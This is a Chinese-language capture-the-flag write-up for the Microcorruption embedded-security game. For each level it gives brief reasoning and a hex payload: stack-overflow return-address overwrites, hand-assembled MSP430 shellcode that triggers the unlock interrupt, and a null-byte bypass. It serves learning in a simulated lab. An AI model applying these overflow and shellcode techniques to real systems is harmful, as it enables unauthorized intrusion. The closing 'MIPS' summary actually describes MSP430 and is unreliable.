Embedded Security CTF (1)
Tutorial
有几个不同的指令;
reset:重启cpu
break:地址不加*
unbreak:取消断点
let: gdb下的set
solve: 发送解决问题的请求
payload: 70617373776f7264
New Orleans
内存里直接就能找到了, 但发现好像还有个gets的栈溢出, 预期解payload: 7c30544d492f5a
Sydney
第一次遇到了大端法诶, payload: 7936602430334f66
Hanoi
我傻逼了这题, 一直在看valid里的中断, 气死👴了, 不愧是一星越南payload: c0c0c0c0c0c0c0c0c0c0c0c0c0c0c0
Cusco
ret2text, payload: 222222222222222222222222222222224644
Reykjavik
先用它网站自带的翻译一下十六进制数
然后动调配合着看一下, 确定0x2464就是unlock, 且关键就是标亮的的那一行, so, 只要输入021b(我一开始是这样认为的然后就麻了), 但因为大小端的问题, 得输入1b02, 艹了
payload: 1b02
Whitehorse:
一开始经典不晓得干嘛, 然后瞅了一下别的师傅, 知道要去看一眼手册, 发现unlock的关键是INT(0x7f), 然后再控制一下ret返回地址, 得到类似以下的汇编代码, 然后丢网站提供的转换器转换为shellcode即可
push #0x7f;
call INT;
padding...(77*8)
0x3e7c;
得记得立即数要加#, 否则涵义不同
俺的payload: 30127f00b012324577777777777777777c3e
Montevideo:
gets到了全局变量中, 结果因为strcpy还是鸟用没有(其实还是有的, 出现了00截断)
下面就是我绕00的思路, 实在不晓得怎么再缩了, 总感觉能更短点来着hh
mov #0x1fc, r8;
rra r8;
rra r8;
push r8
call #0x454c;
payload: 3840fc01081108110812b0124c457777ee43
Johannesburg
我猜这题还是用了gets, 但加了00截断(确实, 不过很简单, 覆盖个0x16的检测即可, 这玩意居然有点像canary哈哈哈), 之后就是ret2text
payload: 1616161616161616161616161616161616164644
Santa Cruz
o, shit, 好长…
它在栈上定义了两个数组, 低地址是usename, 高地址是passwd, 但是两个数组之间塞了两个字节, 依据地址从低到高分别为passwd下界和上界(虽然上下界对最后passwd又没啥影响了hhh), 而程序流程会对passwd的长短进行检查是否在[上界, 下界]中(但username存在的越界写因为没有进行判断, 所以这个上下界可以靠溢出而改变的), 在上下界检查后, 还会检查栈上一个flag位是否为0
tst.b -0x6(r4)
所以其实最后我们的passwd只是起到一个重新置零的作用罢了…
最后我整理了一下思路就是username越界写控制ret的地址(上下界随便你), 然后passwd起到在padding中重新置零的作用
payload1: 7777777777777777777777777777777777017777777777777777777777777777777777777777777777774a44
payload2: 777777777777777777777777777777777700
一些MIPS总结:
根据题目总结的, 所以不一定对:
中断调用号居然是放在栈上, dynamic function传参三个即以内是寄存器传参, 顺序为r15->r14->r13